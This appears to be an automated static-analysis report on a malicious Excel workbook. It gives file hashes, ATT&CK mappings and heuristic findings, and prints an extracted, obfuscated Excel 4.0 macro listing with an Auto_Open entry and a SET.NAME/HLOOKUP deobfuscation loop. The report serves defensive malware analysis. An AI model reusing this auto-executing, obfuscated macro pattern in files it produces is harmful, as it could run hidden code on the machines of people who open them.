Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 17c15385d3e1d258…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-27 11:46:43 Authoring application: Microsoft Excel First seen: 2021-08-20
MD5: f13279295dc7680101a288bef81b25ae SHA-1: 4153ddfe84ba3362d890de73d45ce4d5cc6c4f8e SHA-256: 17c15385d3e1d258121da0f96eceb1949aafe17da9f3a5c64625c9e455bb5212
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

This Excel file contains Excel 4.0 (XLM) macros, including an Auto_Open defined name, which is a critical finding. The macros utilize dangerous formula APIs, indicating an attempt to execute arbitrary code upon opening the document. The specific payload or target of this execution is not discernible from the provided evidence, leading to an unknown family classification.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6613 bytes
SHA-256: 8e7b87004685d013218c2cd56e0ad543958aa7d80a8f7c8889b7d32a2285ec51
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     14 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  KdAxi
' 0018     27 LABEL : Cell Value, String Constant - ALuNBmMEVKFc len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!G180 
' 0018     23 LABEL : Cell Value, String Constant - aYkrxpAp len=0 
' 0018     20 LABEL : Cell Value, String Constant - bdUpy len=0 
' 0018     21 LABEL : Cell Value, String Constant - BjlUlQ len=0 
' 0018     21 LABEL : Cell Value, String Constant - caWcat len=0 
' 0018     21 LABEL : Cell Value, String Constant - cDPLRX len=0 
' 0018     20 LABEL : Cell Value, String Constant - EnrqR len=0 
' 0018     25 LABEL : Cell Value, String Constant - fsDfOYZTbC len=0 
' 0018     27 LABEL : Cell Value, String Constant - gpNDZyccFuUo len=0 
' 0018     20 LABEL : Cell Value, String Constant - HHkfu len=0 
' 0018     26 LABEL : Cell Value, String Constant - IpLYtjKMSeM len=0 
' 0018     26 LABEL : Cell Value, String Constant - JHUrmXgWSHi len=0 
' 0018     25 LABEL : Cell Value, String Constant - NlNLAGZnhO len=0 
' 0018     26 LABEL : Cell Value, String Constant - OLbyFujRJvg len=0 
' 0018     25 LABEL : Cell Value, String Constant - OWTUuYBgvW len=0 
' 0018     22 LABEL : Cell Value, String Constant - PzKSUSZ len=0 
' 0018     25 LABEL : Cell Value, String Constant - uZMtvdeJTR len=0 
' 0018     22 LABEL : Cell Value, String Constant - WAGaPLq len=0 
' 0018     23 LABEL : Cell Value, String Constant - xNSMMeEj len=0 
' 0018     20 LABEL : Cell Value, String Constant - ZTJzK len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  KdAxi,T51,"",-976.00000000000000000000
'  KdAxi,T52,"",-984.00000000000000000000
'  KdAxi,T53,"",676.00000000000000000000
'  KdAxi,T54,"",223.00000000000000000000
'  KdAxi,T55,"",-121.00000000000000000000
'  KdAxi,T56,"",-372.00000000000000000000
'  KdAxi,G92,"SET.NAME("ZTJzK",0+VALUE("0"))",""
'  KdAxi,G95,"SET.NAME("aYkrxpAp",ZTJzK)",""
'  KdAxi,G100,"SET.NAME("OLbyFujRJvg",ZTJzK)",""
'  KdAxi,G103,"SET.NAME("EnrqR",COUNTA(JHUrmXgWSHi))",""
'  KdAxi,G106,"SET.NAME("NlNLAGZnhO",COUNTA(caWcat))",""
'  KdAxi,G108,[],""
'  KdAxi,G113,"SET.NAME("bdUpy","")",""
'  KdAxi,G118,"aYkrxpAp",""
'  KdAxi,G123,"SET.NAME("BjlUlQ",HLOOKUP("*",JHUrmXgWSHi,aYkrxpAp,FALSE))",""
'  KdAxi,G128,"uZMtvdeJTR",""
'  KdAxi,G130,"SET.NAME("PzKSUSZ",ZTJzK)",""
'  KdAxi,G135,[],""
'  KdAxi,G138,"PzKSUSZ",""
'  KdAxi,G140,"HHkfu",""
'  KdAxi,G142,"OWTUuYBgvW",""
'  KdAxi,G144,"IpLYtjKMSeM",""
'  KdAxi,G146,"SET.NAME("ALuNBmMEVKFc",VALUE(HLOOKUP("*",caWcat,IpLYtjKMSeM,FALSE)))",""
'  KdAxi,G148,"xNSMMeEj",""
'  KdAxi,G151,"bdUpy",""
'  KdAxi,G156,"OLbyFujRJvg",""
'  KdAxi,G161,NEXT(),""
'  KdAxi,G163,"fsDfOYZTbC",""
'  KdAxi,G168,[],""
'  KdAxi,G171,"cDPLRX",""
'  KdAxi,G173,NEXT(),""
'  KdAxi,G176,RETURN(),""
'  KdAxi,G204,"SET.NAME("WAGaPLq",G92)",""
'  KdAxi,G208,"JHUrmXgWSHi",""
'  KdAxi,G211,"SET.NAME("caWcat",R73C12)",""
'  KdAxi,G213,"SET.NAME("cDPLRX",221)",""
'  KdAxi,G215,"SET.NAME("gpNDZyccFuUo",7)",""
'  KdAxi,G220,WAGaPLq(),""
'  KdAxi,G221,HALT(),""